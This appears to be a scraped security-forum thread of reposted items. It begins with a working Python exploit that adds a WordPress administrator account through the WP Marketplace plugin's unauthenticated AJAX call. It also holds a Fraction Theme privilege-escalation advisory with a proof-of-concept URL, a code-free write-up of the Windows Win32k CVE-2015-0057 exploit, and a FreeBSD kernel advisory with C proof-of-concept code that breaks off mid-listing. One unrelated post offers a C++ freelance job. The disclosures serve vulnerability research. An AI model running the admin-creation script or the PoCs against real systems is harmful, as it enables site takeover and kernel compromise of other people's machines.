random # Args management import optparse # Check url def checkurl(url): if url[:8] != "https://" and url[:7] != "http://": print('[X] You must insert http:// or https:// procotol') sys.exit(1) else: return url # Check if file exists and has readable def checkfile(file): if not os.path.isfile(file) and not os.access(file, os.R_OK): print '[X] '+file+' file is missing or not readable' sys.exit(1) else: return file def id_generator(size=6, chars=string.ascii_uppercase + string.ascii_lowercase + string.digits): return ''.join(random.choice(chars) for _ in range(size)) banner = """ ___ ___ __ | Y .-----.----.--| .-----.----.-----.-----.-----. |. | | _ | _| _ | _ | _| -__|__ --|__ --| |. / \ |_____|__| |_____| __|__| |_____|_____|_____| |: | |__| |::.|:. | `--- ---' ___ ___ __ __ __ | Y .---.-.----| |--.-----| |_.-----| .---.-.----.-----. |. | _ | _| <| -__| _| _ | | _ | __| -__| |. \_/ |___._|__| |__|__|_____|____| __|__|___._|____|_____| |: | | |__| |::.|:. | `--- ---' WP Marketplace R3m0t3 C0d3 Ex3cut10n (Add WP Admin) v2.4.0 Written by: Claudio Viviani http://www.homelab.it info@homelab.it homelabit@protonmail.ch https://www.facebook.com/homelabit https://twitter.com/homelabit https://plus.google.com/+HomelabIt1/ https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww """ commandList = optparse.OptionParser('usage: %prog -t URL [--timeout sec]') commandList.add_option('-t', '--target', action="store", help="Insert TARGET URL: http[s]://www.victim.com[:PORT]", ) commandList.add_option('--timeout', action="store", default=10, type="int", help="[Timeout Value] - Default 10", ) options, remainder = commandList.parse_args() # Check args if not options.target: print(banner) commandList.print_help() sys.exit(1) host = checkurl(options.target) timeout = options.timeout print(banner) socket.setdefaulttimeout(timeout) username = id_generator() pwd = id_generator() body = urllib.urlencode({'action' : 'wpmp_pp_ajax_call', 'execute' : 'wp_insert_user', 'user_login' : username, 'user_pass' : pwd, 'role' : 'administrator'}) headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36'} print "[+] Tryng to connect to: "+host try: req = urllib2.Request(host+"/", body, headers) response = urllib2.urlopen(req) html = response.read() if html == "": print("[!] Account Added") print("[!] Location: "+host+"/wp-login.php") print("[!] Username: "+username) print("[!] Password: "+pwd) else: print("[X] Exploitation Failed :(") except urllib2.HTTPError as e: print("[X] "+str(e)) except urllib2.URLError as e: print("[X] Connection Error: "+str(e)) Source
  10. Am primit un proiect simplu pe un site de freelancing insa nu am timp de el. Cine are nevoie de bani si stie c++, let me know. Tre' facut in 6h(//EDITED) incepand de acum. Cerinte: Banii ii trimit pe PP dupa ce verifica omu' ce ati facut si imi baga banii, asa ca e posibil sa dureze 1-2 zile.
  11. ------------------------------------------------------------------------------ WordPress Fraction Theme 1.1.1 Previlage Escalation ------------------------------------------------------------------------------ [-] Theme Link: http://themeforest.net/item/fraction-multipurpose-news-magazine-theme/8655281 [-] Affected Version: Version: 1.1.1 [-] Vulnerability Description: This vulnerability allows an attacker to escalate privileges on the site and have an admin account which may lead to a full site takeover the vulnerability is in /fraction-theme/functions/ajax.php there is this function called "ot_save_options": function ot_save_options() { $fields = $_REQUEST; foreach($fields as $key => $field) { if($key!="action") { update_option($key,$field); } } die(); } passing user input into the update_option function allows an attacker to update options like users_can_register,default_role.... etc this can be accessed via ajax by users and non-users: add_action('wp_ajax_nopriv_ot_save_options', 'ot_save_options'); add_action('wp_ajax_ot_save_options', 'ot_save_options'); [-] Proof of Concept: this will enable user registration http://localhost/wordpress/wp-admin/admin-ajax.php?action=ot_save_options&users_can_register=1 [-] Timeline: 09 March - Vendor Notified 09 March - Vendor Replied 10 March - Fix Released 10 March - Public Disclosure [-] References: http://research.evex.pw/?vuln=8 @evex_1337 Source
  12. Introduction Today, Microsoft released their latest Patch Tuesday. This Patch includes a fix for vulnerability CVE-2015-0057, an IMPORTANT-rated exploitable vulnerability which we responsibly disclosed to Microsoft a few months ago. As part of our research, we revealed this privilege escalation vulnerability which, if exploited, enables a threat actor to complete control of a Windows machine. In other words, a threat actor that gains access to a Windows machine (say, through a phishing campaign) can exploit this vulnerability to bypass all Windows security measures, defeating mitigation measures such as sandboxing, kernel segregation and memory randomization. Interestingly, the exploit requires modifying only a single bit of the Windows operating system. We have verified this exploit against all supported Windows desktop versions, including Windows 10 Technical Preview. This entry starts by detailing the vulnerability. At first, it seemed to us impossible to exploit. After some hard word, however, we managed to produce a fully working exploit which we’ll describe. As part of this analysis, we also present a video which demonstrates the exploit. Finally, we conclude this entry with a buggy dead-code anecdote which we thought interesting to share. Responsible disclosure: although this blog entry is technical, we won’t reveal any code, or the complete details, to prevent any tech master from being able to reproduce an exploit. Background Over the last several years, privilege escalation vulnerabilities became all the more crucial for exploitation because they enable malicious code to run on the kernel. As such, a threat actor exploiting a privileged escalation vulnerability can bypass protective security mechanisms such as application sandboxes. Step by step with the attackers’ progress, Microsoft made extensive efforts to protect the kernel. The reasoning is that even if a vulnerability exists, exploiting it would be difficult, if not impossible. For example, here are just a few of the kernel protection mechanisms that are present in Windows 8.1:Kernel DEP – Ensures that most kernel data regions cannot be executed • Kernel DEP – Ensures that most kernel data regions cannot be executed • KASLR – Randomizes the kernel address-space to avoid figuring out where kernel modules exist • Integrity Level – Limits the ability of an unprivileged application to leak kernel-related information • Mitigation Of Common Attack Vectors – Hardens commonly abused structures (such as the Win32k wnd proc field) • SMEP – Prevents execution control transfers between kernel mode to user-mode • NULL Dereference Protection – Prohibits mapping of the first 64k of data in user-mode Albeit these hardening mechanisms, in the past year we have seen some notable presentations that demonstrated techniques to bypass these protections. The vulnerability which we describe in this entry, is a newly disclosed privilege escalation exploitable vulnerability that too bypasses these protections. The Vulnerability: a hole in the Win32k.sys module This particular vulnerability appears in the GUI component of Microsoft Windows Kernel, namely, the Win32k.sys module. This entry assumes a strong technical understanding of the Win32k.sys module. For detailed information on this module, please refer to Tajei Mandt, Gilad Bakas and Gil Dabah. Zooming into Window Scrollbars The Win32k module manages also the actual windows’ scrollbars. These scrollbars – whether horizontal or vertical – are set for each window. Let’s zoom into these scrollbars: As can be seen in Figure 1, each SBDATA structure defines the information regarding one of the scrollbars. The WSBflags is a bitmask that determines the state of the scrollbars. In order to enable and disable a window scrollbar, the function xxxEnableWndSBArrows is used. Through a single call, this function can alter the state of both scrollbars. It is precisely within this function wherein the vulnerability lies. Deep Diving into xxxEnableWndSBArrows The prototype of xxxEnableWndSBArrows is: • Wnd – A pointer to the relevant window • wSBflags – The scrollbar type (e.g. horizontal or vertical) • wArrows – Specifies whether the scrollbar’s arrows are enabled or disabled and indicates which arrows are enabled or disabled. In order to describe the vulnerability, we’ll take a look at the first part of the xxxEnableWndSBArrows function which can be broken down into 3 logical parts: Part 1 – Allocation of a new scrollbar (if needed) The function starts by checking whether there is already scrollbar information for that window and allocates a new scrollbar information struct, if needed. Technically speaking, the function reads the pSBInfo field (to recall, this field points to the tagSBINFO struct) and tests if the pointer is NULL. If the field is null and the wArrows parameter is not NULL, then a tagSBINFO struct is allocated for the window and the old flags of the scrollbars are set to 0. Otherwise the old flags are copied from the existing window’s scrollbars information. The code can be found in Figure 2. Part 2 – Setting the state of the horizontal scrollbar The flow continues by testing whether the state of horizontal scrollbar should be changed. According to what was set in the wArrows argument, the function enables or disables the arrows (figure 3). Part 3 – Testing the state of the scrollbar arrows The flow continues by checking whether the state of the arrows have changed. Technically speaking, this is done by checking the arrow’s flags (to note, there are a few more flag checks – but those are not interesting for our purpose). If the flags have changed and the window is visible then xxxDrawScrollbar is called. This is precisely the place where things get interesting. When digging into the code, it seems possible that the xxxDrawScrollBar will lead to a user–mode callback (Figure 4). The pivotal function in this call chain is the ClientLoadLibrary. This function performs the callback to the user-mode function __ClientLoadLibrary. Let’s return now to the code of xxxEnableWndSBArrows. Our examination showed that the tagSBINFO pointer is used without any verification after the callback. Ultimately, this could lead to a Use-After-Free (UAF) vulnerability since the function may continue to work with the freed scrollbar information (Figure 5). The Exploitation: manipulating windows properties After the callback, the function xxxEnableWndSBArrows continues and changes the state of the vertical scrollbar. At this stage, the function tries to enable or disable the flags. However, since the struct is already freed, we can use this to either Bitwise OR the first DWORD of the freed buffer with 0xC (if we disable the arrows) or to clear bit 3 and 4 (if we enable the arrows). See figure 6 For simplicity sake, we show how to manipulate 2 bits in order to “rule them all”. However, manipulating only one of them would be enough. The bit manipulation at first didn’t seem enough to result in anything significant, but we decided to keep trying. The most obvious things to try were to either increase the size of some buffer (using the bitwise OR) or decrease some reference counter (using the bitwise AND). After a short search we found an object that met the first requirement. This object is the properties list of a window. The Window Properties List Each window has a properties list. Generally, these properties can be used by the GUI application to store arbitrary values, though also Win32K uses this properties list in order to store internal data. The data structures used to hold the window’s properties can be seen in Figure 7. The first field, cEntries, is the number of entries in the properties array; iFirstFree is the index to the first free cell in the properties array; and props is the array itself. An application can set the window’s properties using the SetProp API. The prototype of the function is as follows: • hWnd – The handle to the window. • lpString – The of the property or an ATOM. • hData – The data to store. Adding properties to a window is performed through the CreateProp function, appearing in the win32k module. As can be seen in figure 8 its allocation algorithm is quite simple. If there is no room for a new property in the list, the function allocates a new properties list with one more entry. The function then proceeds to copy the buffer of the old properties to the new one, frees the old buffer and increases the entries count. There are several important things to note in this code: First, the properties are allocated from the Desktop heap (Uses DesktopAlloc). Also, tagSBINFO is allocated from this heap. This is crucial if we want to use the UAF vulnerability to alter the properties structure. Second, each new entry triggers the reallocation of the buffer. This means that we can easily trigger the reallocation of the buffer when it’s about to reach the size of the tagSBINFO structure. Doing this increases the chances that the buffer will be allocated over the freed tagSBINFO struct. Third, and most importantly, the cEntries field is located in the first DWORD of the struct. This means that we can increase its size (using the bitwise Or). After increasing the size of the properties array we basically achieved a classical buffer-overflow. Proof-of-Concept Video The above research led to the privilege escalation exploitation. We stop here, however, to avoid releasing any sensitive code. Our demo on a 64-bit Windows 10 Technical Preview provides the necessary proof-of-concept: Summary After some work we managed to create a reliable exploit for all versions of Windows – dating back as of Windows XP to Windows 10 preview (With SMEP and protections turned on). We have shown that even a minor bug can be used to gain complete control over any Windows Operating System. Nevertheless, we think that Microsoft efforts to make the its operating system more secure raised the bar significantly and made writing reliable exploits far harder than before. Unfortunately, these measures are not going to keep attackers at bay. We predict that attackers will continue incorporating exploits into their crime kits, making compromise inevitable. Last side note: funny code Examining the code of the xxxEnableWndSBArrows function showed that there are calls to the xxxWindowEvent function. At first glance it seemed that these two functions would be far easier to use as an exploitation stepping stone than the xxxDrawScrollbar function, as detailed above. However, after diving into the code it quickly became clear that the calls to xxxWindowEvent in the Horizontal scrollbar part of the code are actually dead-code (Figure 9). Looking at the code, there are two conditional calls to the function, xxxWindowEvent. These calls are executed only if the old flags of the scrollbar information differ from those of the new flags. However, by the time these conditions appear, the values of the old flags and the new flags are always equal. Hence, the condition for calling xxxWindowEvent is never met. This practically means that this dead-code was there for about 15-years doing absolutely nothing. Source
  13. Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ FreeBSD Kernel Multiple Vulnerabilities 1. *Advisory Information* Title: FreeBSD Kernel Multiple Vulnerabilities Advisory ID: CORE-2015-0003 Advisory URL: http://www.coresecurity.com/content/freebsd-kernel-multiple-vulnerabilities Date published: 2015-01-27 Date of last update: 2015-01-27 Vendors contacted: FreeBSD Release mode: Coordinated release 2. *Vulnerability Information* Class: Unsigned to Signed Conversion Error [CWE-196], Improper Validation of Array Index [CWE-129], Improper Validation of Array Index [CWE-129] Impact: Code execution, Denial of service Remotely Exploitable: No Locally Exploitable: Yes CVE Name: CVE-2014-0998, CVE-2014-8612, CVE-2014-8612 3. *Vulnerability Description* FreeBSD is an advanced computer operating system used to power modern servers, desktops and embedded platforms. A large community has continually developed it for more than thirty years. Its advanced networking, security and storage features have made FreeBSD the platform of choice for many of the busiest web sites and most pervasive embedded networking and storage devices. Multiple vulnerabilities have been found in the FreeBSD kernel code that implements the vt console driver (previously known as Newcons) and the code that implements SCTP sockets. These vulnerabilities could allow local unprivileged attackers to disclose kernel memory containing sensitive information, crash the system, and execute arbitrary code with superuser privileges. 4. *Vulnerable packages* . FreeBSD 10.1-RELEASE. Other versions may be affected too but they were no checked. 5. *Non-vulnerable packages* . FreeBSD 10.1-RELENG. 6. *Vendor Information, Solutions and Workarounds* The FreeBSD team has released patches for the reported vulnerabilities. You should upgrade to FreeBSD 10.1-RELENG or one of the following releases: . stable/10, 10.1-STABLE . releng/10.1, 10.1-RELEASE-p5 . releng/10.0, 10.0-RELEASE-p17 . stable/9, 9.3-STABLE . releng/9.3, 9.3-RELEASE-p9 . stable/8, 8.4-STABLE . releng/8.4, 8.4-RELEASE-p23 The vendor publish a security Advisory that can be accessed here[6]. 7. *Credits* This vulnerability was discovered and researched by Francisco Falcon from Core Exploit Writers Team. The publication of this advisory was coordinated by Joaquin Rodriguez Varela from Core Advisories Team. 8. *Technical Description / Proof of Concept Code* 8.1. *FreeBSD vt Driver VT_WAITACTIVE Sign Conversion Vulnerability* [CVE-2014-0998] FreeBSD 10.1-RELEASE added[1] the 'vt(4)'[2] console driver (previously known as Newcons[3]). This new console driver can be enabled by adding the line 'kern.vty=vt' to the '/boot/loader.conf' file and then rebooting the system. The vt console driver is prone to a sign conversion error when handling the 'VT_WAITACTIVE' ioctl message, which can be ultimately leveraged by a local unprivileged attacker to make the kernel access an array outside of its boundaries. The vt console driver provides multiple virtual terminals, which are mapped to the '/dev/ttyv*' device nodes. A user can send messages to the vt driver by opening the '/dev/ttyv*' device node belonging to his virtual terminal and then using the 'ioctl' system call. The function 'vtterm_ioctl' in 'sys/dev/vt/vt_core.c' handles ioctl messages sent to the vt driver. One of the supported messages is called 'VT_WAITACTIVE': /----- static int vtterm_ioctl(struct terminal *tm, u_long cmd, caddr_t data, struct thread *td) { int error, i, s; [...] switch (cmd) { [...] case VT_WAITACTIVE: error = 0; i = *(unsigned int *)data; if (i > VT_MAXWINDOWS) return (EINVAL); if (i != 0) vw = vd->vd_windows[i - 1]; [...] -----/ As shown above, when handling the 'VT_WAITACTIVE' ioctl message, the 'data' input buffer (which is fully controlled by the local user) is casted as '(unsigned int *)' in order to read an 'unsigned int' from the input data; however, the read value is stored in the 'i' variable, which has *signed* type 'int'. This sign conversion error will make possible for a local attacker to bypass the subsequent boundary check that tries to ensure that 'i' is not greater than 'VT_MAXWINDOWS' before using it as an index to access the 'vd->vd_windows' array. This flaw can be leveraged by a local attacker to make the kernel access the 'vd->vd_windows' array outside of its boundaries. The following disassembly snippet represents the vulnerable code in the FreeBSD kernel binary ('/boot/kernel/kernel'): /----- vtterm_ioctl+1306 loc_C09B2506: ; CODE XREF: vtterm_ioctl+D6Cj vtterm_ioctl+1306 cmp esi, 20047606h ; case VT_WAITACTIVE: vtterm_ioctl+130C mov ecx, edx ; ecx = vd->vd_windows vtterm_ioctl+130E mov eax, ebx vtterm_ioctl+1310 jnz loc_C09B275B vtterm_ioctl+1316 mov eax, [eax] ; i = *(unsigned int *)data; vtterm_ioctl+1318 cmp eax, 0Ch ; if (i > VT_MAXWINDOWS)... vtterm_ioctl+131B mov edi, 16h vtterm_ioctl+1320 jg loc_C09B2760 ; *** signed comparison! vtterm_ioctl+1326 test eax, eax ; if (i != 0)... vtterm_ioctl+1328 jz short loc_C09B2531 vtterm_ioctl+132A mov eax, [ecx+eax*4-4] ; **** vw = vd->vd_windows[i - 1]; ---> access vd->vd_windows outside of its boundaries vtterm_ioctl+132E mov [ebp+var_30], eax -----/ 8.2. *FreeBSD SCTP Socket SCTP_SS_VALUE Memory Corruption Vulnerability* [CVE-2014-8612] FreeBSD implements the Stream Control Transmission Protocol (SCTP).[4]. A userland application can use the 'getsockopt/setsockopt' system calls in order to manipulate the options associated with an SCTP socket. The FreeBSD kernel is prone to a memory corruption vulnerability when setting the 'SCTP_SS_VALUE' SCTP socket option via the 'setsockopt' system call. This vulnerability can be leveraged by a local unprivileged attacker to corrupt kernel memory with an arbitrary 16-bit value. The handling of the 'setsockopt' system call at the SCTP level is performed by the function 'sctp_setopt' [file 'sys/netinet/sctp_userreq.c']: /----- static int sctp_setopt(struct socket *so, int optname, void *optval, size_t optsize, void *p) { [...] switch (optname) { [...] case SCTP_SS_VALUE: { struct sctp_stream_value *av; SCTP_CHECK_AND_CAST(av, optval, struct sctp_stream_value, optsize); SCTP_FIND_STCB(inp, stcb, av->assoc_id); if (stcb) { if (stcb->asoc.ss_functions.sctp_ss_set_value(stcb, &stcb->asoc, &stcb->asoc.strmout[av->stream_id], av->stream_value) < 0) { -----/ As shown above, when handling the 'SCTP_SS_VALUE' socket option, the 'optval' option value (which is fully controlled by the local user), is casted to the 'struct sctp_stream_value *' type and stored into the 'av' variable by using the 'SCTP_CHECK_AND_CAST' macro. After that, if the 'sctb' pointer is not 'NULL' (condition that can be achieved by having the SCTP socket in a *connected* state), then the 'stcb->asoc.ss_functions.sctp_ss_set_value' function pointer is called. The third argument for this function is '&stcb->asoc.strmout[av->stream_id]'. As can be seen, the unstrusted 'av->stream_id' value (which is fully controlled by the local attacker) is used as an index within the 'stcb->asoc.strmout' array without properly checking if it's within the bounds of the array. However, note that the memory address calculated using the untrusted index is not dereferenced yet; just the calculated address is passed as an argument to the function, so there is still no memory access at this point. 'stcb->asoc.ss_functions' has type 'struct sctp_ss_functions', which is a struct defined in the file 'sys/netinet/sctp_structs.h' containing several function pointers. One of its members is 'sctp_ss_set_value', which is the one being called when handling the 'SCTP_SS_VALUE' socket option: /----- /* * RS - Structure to hold function pointers to the functions responsible * for stream scheduling. */ struct sctp_ss_functions { void (*sctp_ss_init) (struct sctp_tcb *stcb, struct sctp_association *asoc, int holds_lock); void (*sctp_ss_clear) (struct sctp_tcb *stcb, struct sctp_association *asoc, int clear_values, int holds_lock); void (*sctp_ss_init_stream) (struct sctp_stream_out *strq, struct sctp_stream_out *with_strq); void (*sctp_ss_add_to_stream) (struct sctp_tcb *stcb, struct sctp_association *asoc, struct sctp_stream_out *strq, struct sctp_stream_queue_pending *sp, int holds_lock); int (*sctp_ss_is_empty) (struct sctp_tcb *stcb, struct sctp_association *asoc); void (*sctp_ss_remove_from_stream) (struct sctp_tcb *stcb, struct sctp_association *asoc, struct sctp_stream_out *strq, struct sctp_stream_queue_pending *sp, int holds_lock); struct sctp_stream_out *(*sctp_ss_select_stream) (struct sctp_tcb *stcb, struct sctp_nets *net, struct sctp_association *asoc); void (*sctp_ss_scheduled) (struct sctp_tcb *stcb, struct sctp_nets *net, struct sctp_association *asoc, struct sctp_stream_out *strq, int moved_how_much); void (*sctp_ss_packet_done) (struct sctp_tcb *stcb, struct sctp_nets *net, struct sctp_association *asoc); int (*sctp_ss_get_value) (struct sctp_tcb *stcb, struct sctp_association *asoc, struct sctp_stream_out *strq, uint16_t * value); int (*sctp_ss_set_value) (struct sctp_tcb *stcb, struct sctp_association *asoc, struct sctp_stream_out *strq, uint16_t value); }; -----/ The file 'sys/netinet/sctp_ss_functions.c' defines an array called 'sctp_ss_functions'; each element of this array has type 'struct sctp_ss_functions' and defines a set of function pointers suitable for different SCTP socket options: /----- struct sctp_ss_functions sctp_ss_functions[] = { /* SCTP_SS_DEFAULT */ { .sctp_ss_init = sctp_ss_default_init, .sctp_ss_clear = sctp_ss_default_clear, .sctp_ss_init_stream = sctp_ss_default_init_stream, .sctp_ss_add_to_stream = sctp_ss_default_add, .sctp_ss_is_empty = sctp_ss_default_is_empty, .sctp_ss_remove_from_stream = sctp_ss_default_remove, .sctp_ss_select_stream = sctp_ss_default_select, .sctp_ss_scheduled = sctp_ss_default_scheduled, .sctp_ss_packet_done = sctp_ss_default_packet_done, .sctp_ss_get_value = sctp_ss_default_get_value, .sctp_ss_set_value = sctp_ss_default_set_value }, /* SCTP_SS_ROUND_ROBIN */ { .sctp_ss_init = sctp_ss_default_init, .sctp_ss_clear = sctp_ss_default_clear, .sctp_ss_init_stream = sctp_ss_default_init_stream, .sctp_ss_add_to_stream = sctp_ss_rr_add, .sctp_ss_is_empty = sctp_ss_default_is_empty, .sctp_ss_remove_from_stream = sctp_ss_default_remove, .sctp_ss_select_stream = sctp_ss_default_select, .sctp_ss_scheduled = sctp_ss_default_scheduled, .sctp_ss_packet_done = sctp_ss_default_packet_done, .sctp_ss_get_value = sctp_ss_default_get_value, .sctp_ss_set_value = sctp_ss_default_set_value }, /* SCTP_SS_ROUND_ROBIN_PACKET */ { .sctp_ss_init = sctp_ss_default_init, .sctp_ss_clear = sctp_ss_default_clear, .sctp_ss_init_stream = sctp_ss_default_init_stream, .sctp_ss_add_to_stream = sctp_ss_rr_add, .sctp_ss_is_empty = sctp_ss_default_is_empty, .sctp_ss_remove_from_stream = sctp_ss_default_remove, .sctp_ss_select_stream = sctp_ss_rrp_select, .sctp_ss_scheduled = sctp_ss_default_scheduled, .sctp_ss_packet_done = sctp_ss_rrp_packet_done, .sctp_ss_get_value = sctp_ss_default_get_value, .sctp_ss_set_value = sctp_ss_default_set_value }, /* SCTP_SS_PRIORITY */ { .sctp_ss_init = sctp_ss_default_init, .sctp_ss_clear = sctp_ss_prio_clear, .sctp_ss_init_stream = sctp_ss_prio_init_stream, .sctp_ss_add_to_stream = sctp_ss_prio_add, .sctp_ss_is_empty = sctp_ss_default_is_empty, .sctp_ss_remove_from_stream = sctp_ss_prio_remove, .sctp_ss_select_stream = sctp_ss_prio_select, .sctp_ss_scheduled = sctp_ss_default_scheduled, .sctp_ss_packet_done = sctp_ss_default_packet_done, .sctp_ss_get_value = sctp_ss_prio_get_value, .sctp_ss_set_value = sctp_ss_prio_set_value }, /* SCTP_SS_FAIR_BANDWITH */ { .sctp_ss_init = sctp_ss_default_init, .sctp_ss_clear = sctp_ss_fb_clear, .sctp_ss_init_stream = sctp_ss_fb_init_stream, .sctp_ss_add_to_stream = sctp_ss_fb_add, .sctp_ss_is_empty = sctp_ss_default_is_empty, .sctp_ss_remove_from_stream = sctp_ss_fb_remove, .sctp_ss_select_stream = sctp_ss_fb_select, .sctp_ss_scheduled = sctp_ss_fb_scheduled, .sctp_ss_packet_done = sctp_ss_default_packet_done, .sctp_ss_get_value = sctp_ss_default_get_value, .sctp_ss_set_value = sctp_ss_default_set_value }, /* SCTP_SS_FIRST_COME */ { .sctp_ss_init = sctp_ss_fcfs_init, .sctp_ss_clear = sctp_ss_fcfs_clear, .sctp_ss_init_stream = sctp_ss_fcfs_init_stream, .sctp_ss_add_to_stream = sctp_ss_fcfs_add, .sctp_ss_is_empty = sctp_ss_fcfs_is_empty, .sctp_ss_remove_from_stream = sctp_ss_fcfs_remove, .sctp_ss_select_stream = sctp_ss_fcfs_select, .sctp_ss_scheduled = sctp_ss_default_scheduled, .sctp_ss_packet_done = sctp_ss_default_packet_done, .sctp_ss_get_value = sctp_ss_default_get_value, .sctp_ss_set_value = sctp_ss_default_set_value } }; -----/ Note that the value for the 'sctp_ss_set_value' field is *almost* always set to 'sctp_ss_default_set_value', which is just a dummy function defined in 'sys/netinet/sctp_ss_functions.c': /----- static int sctp_ss_default_set_value(struct sctp_tcb *stcb SCTP_UNUSED, struct sctp_association *asoc SCTP_UNUSED, struct sctp_stream_out *strq SCTP_UNUSED, uint16_t value SCTP_UNUSED) { /* Nothing to be done here */ return (-1); } -----/ The only case in which the 'sctp_ss_set_value' field is set to a different value is in the 4th element of the array, which corresponds to the 'SCTP_SS_PRIORITY' socket option; in that case, the function pointer is set to 'sctp_ss_prio_set_value', which is a function defined in 'sys/netinet/sctp_ss_functions.c': /----- static int sctp_ss_prio_set_value(struct sctp_tcb *stcb, struct sctp_association *asoc, struct sctp_stream_out *strq, uint16_t value) { if (strq == NULL) { return (-1); } strq->ss_params.prio.priority = value; sctp_ss_prio_remove(stcb, asoc, strq, NULL, 1); sctp_ss_prio_add(stcb, asoc, strq, NULL, 1); return (1); } -----/ The 'value' parameter is fully controlled by the attacker, and the actual value of the 'strq' pointer parameter is the address '&stcb->asoc.strmout[av->stream_id]' in which the attacker can set the 'av->stream_id' index beyond the boundaries of the array, so this function will provide a write-what-where memory corruption primitive when doing the 'strq->ss_params.prio.priority = value' assignment. This memory corruption vulnerability allows a local unprivileged attacker to overwrite kernel memory outside of the 'stcb->asoc.strmout' array with an arbitrary 'uint16_t' value. In order to make use of the 'sctp_ss_prio_set_value' function, the attacker needs to set up the 'stcb->asoc.ss_functions' struct with the function pointers belonging to the 'SCTP_SS_PRIORITY' socket option. This can be done by hitting the following code in the 'sctp_setopt' function; as can be seen, the 'stcb->asoc.ss_functions' struct can be properly set up for the attack by setting an 'SCTP_PLUGGABLE_SS' socket option with an option value of type 'struct sctp_assoc_value' having its 'assoc_value' field set to 'SCTP_SS_PRIORITY' (see the 'stcb->asoc.ss_functions = sctp_ss_functions[av->assoc_value] ' statement): /----- case SCTP_PLUGGABLE_SS: { struct sctp_assoc_value *av; SCTP_CHECK_AND_CAST(av, optval, struct sctp_assoc_value, optsize); /* Checks if av->assoc_value is a valid index within the sctp_ss_functions array */ if ((av->assoc_value != SCTP_SS_DEFAULT) && (av->assoc_value != SCTP_SS_ROUND_ROBIN) && (av->assoc_value != SCTP_SS_ROUND_ROBIN_PACKET) && (av->assoc_value != SCTP_SS_PRIORITY) && (av->assoc_value != SCTP_SS_FAIR_BANDWITH) && (av->assoc_value != SCTP_SS_FIRST_COME)) { SCTP_LTRACE_ERR_RET(inp, NULL, NULL, SCTP_FROM_SCTP_USRREQ, EINVAL); error = EINVAL; break; } SCTP_FIND_STCB(inp, stcb, av->assoc_id); if (stcb) { stcb->asoc.ss_functions.sctp_ss_clear(stcb, &stcb->asoc, 1, 1); /* The function pointers struct is set up here!!! */ stcb->asoc.ss_functions = sctp_ss_functions[av->assoc_value]; stcb->asoc.stream_scheduling_module = av->assoc_value; stcb->asoc.ss_functions.sctp_ss_init(stcb, &stcb->asoc, 1); SCTP_TCB_UNLOCK(stcb); -----/ 8.3. *FreeBSD SCTP Socket SCTP_SS_VALUE Kernel Memory Disclosure Vulnerability* [CVE-2014-8612] The third vulnerability is closely related to the second one. The FreeBSD kernel is prone to a kernel memory disclosure when reading the value of the 'SCTP_SS_VALUE' SCTP socket option via the 'getsockopt' system call, which allows local unprivileged attackers to read 16-bit values belonging to the kernel memory space. The handling of the 'getsockopt' system call at the SCTP level is performed by the function 'sctp_getopt' [file 'sys/netinet/sctp_userreq.c']: /----- static int sctp_getopt(struct socket *so, int optname, void *optval, size_t *optsize, void *p) { [...] switch (optname) { [...] case SCTP_SS_VALUE: { struct sctp_stream_value *av; SCTP_CHECK_AND_CAST(av, optval, struct sctp_stream_value, *optsize); SCTP_FIND_STCB(inp, stcb, av->assoc_id); if (stcb) { if (stcb->asoc.ss_functions.sctp_ss_get_value(stcb, &stcb->asoc, &stcb->asoc.strmout[av->stream_id], &av->stream_value) < 0) { -----/ When handling the 'SCTP_SS_VALUE' socket option, the 'optval' option value (which is fully controlled by the local attacker), is casted to the 'struct sctp_stream_value *' type and stored into the 'av' variable by using the 'SCTP_CHECK_AND_CAST' macro. After that, if the 'sctb' pointer is not 'NULL' (condition that can be achieved by having the SCTP socket in a *connected* state), the 'stcb->asoc.ss_functions.sctp_ss_get_value' function pointer is called. The third argument for this function is '&stcb->asoc.strmout[av->stream_id]'. As can be seen, the unstrusted 'av->stream_id' value (which is fully controlled by the local attacker) is used as an index within the 'stcb->asoc.strmout' array without properly checking if it's within the bounds of the array. The default value for the 'sctp_ss_get_value' function pointer is 'sctp_ss_default_get_value', which is just a dummy function defined in 'sys/netinet/sctp_ss_functions.c': /----- static int sctp_ss_default_get_value(struct sctp_tcb *stcb SCTP_UNUSED, struct sctp_association *asoc SCTP_UNUSED, struct sctp_stream_out *strq SCTP_UNUSED, uint16_t * value SCTP_UNUSED) { /* Nothing to be done here */ return (-1); } -----/ The only useful possible value for this function pointer is 'sctp_ss_prio_get_value', which belongs to the function pointers of the 'SCTP_SS_PRIORITY' socket option: /----- static int sctp_ss_prio_get_value(struct sctp_tcb *stcb SCTP_UNUSED, struct sctp_association *asoc SCTP_UNUSED, struct sctp_stream_out *strq, uint16_t * value) { if (strq == NULL) { return (-1); } *value = strq->ss_params.prio.priority; return (1); } -----/ The actual value of the 'strq' pointer parameter is the address '&stcb->asoc.strmout[av->stream_id]' in which the attacker can set the 'av->stream_id' index beyond the boundaries of the array, so this function will allow a local unprivileged attacker to read an 'uint16_t' value belonging to the kernel memory outside of the 'stcb->asoc.strmout' array when doing the '*value = strq->ss_params.prio.priority' assignment. In order to make use of the 'sctp_ss_prio_get_value' function, the attacker needs to set up the 'stcb->asoc.ss_functions' struct with the function pointers belonging to the 'SCTP_SS_PRIORITY' socket option, as it was previously explained for the second vulnerability. 8.4. *Proof of Concept* The following code is a Proof of Concept for the first vulnerability: /----- #include <stdio.h> #include <sys/consio.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char **argv){ int fd; printf("** FreeBSD vt Driver VT_WAITACTIVE Sign Conversion Vulnerability PoC **\n"); if (argc < 2){ printf("\nUsage: ./poc_vt </dev/ttyv*>, where ttyv* is your current virtual terminal.\n"); printf("\nExample: ./poc_vt /dev/ttyv1\n\n"); exit(1); } fd = open(argv[1], O_RDONLY); if (fd == -1){ perror("open"); exit(1); } /* 0x90919293 is a negative number when it's interpreted as a signed int, thus it will bypass the * (signed) boundary check that tries to guarantee that this value is not greater than VT_MAXWINDOWS (12). * This value will be ultimately used as an index to access the vd->vd_windows array. */ if (ioctl(fd, VT_WAITACTIVE, (void *) 0x90919293) == -1){ perror("ioctl"); } close(fd); return 0; } -----/ The following code is a Proof of Concept for the second vulnerability: /----- #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/sctp.h> #include <netinet/sctp_uio.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include 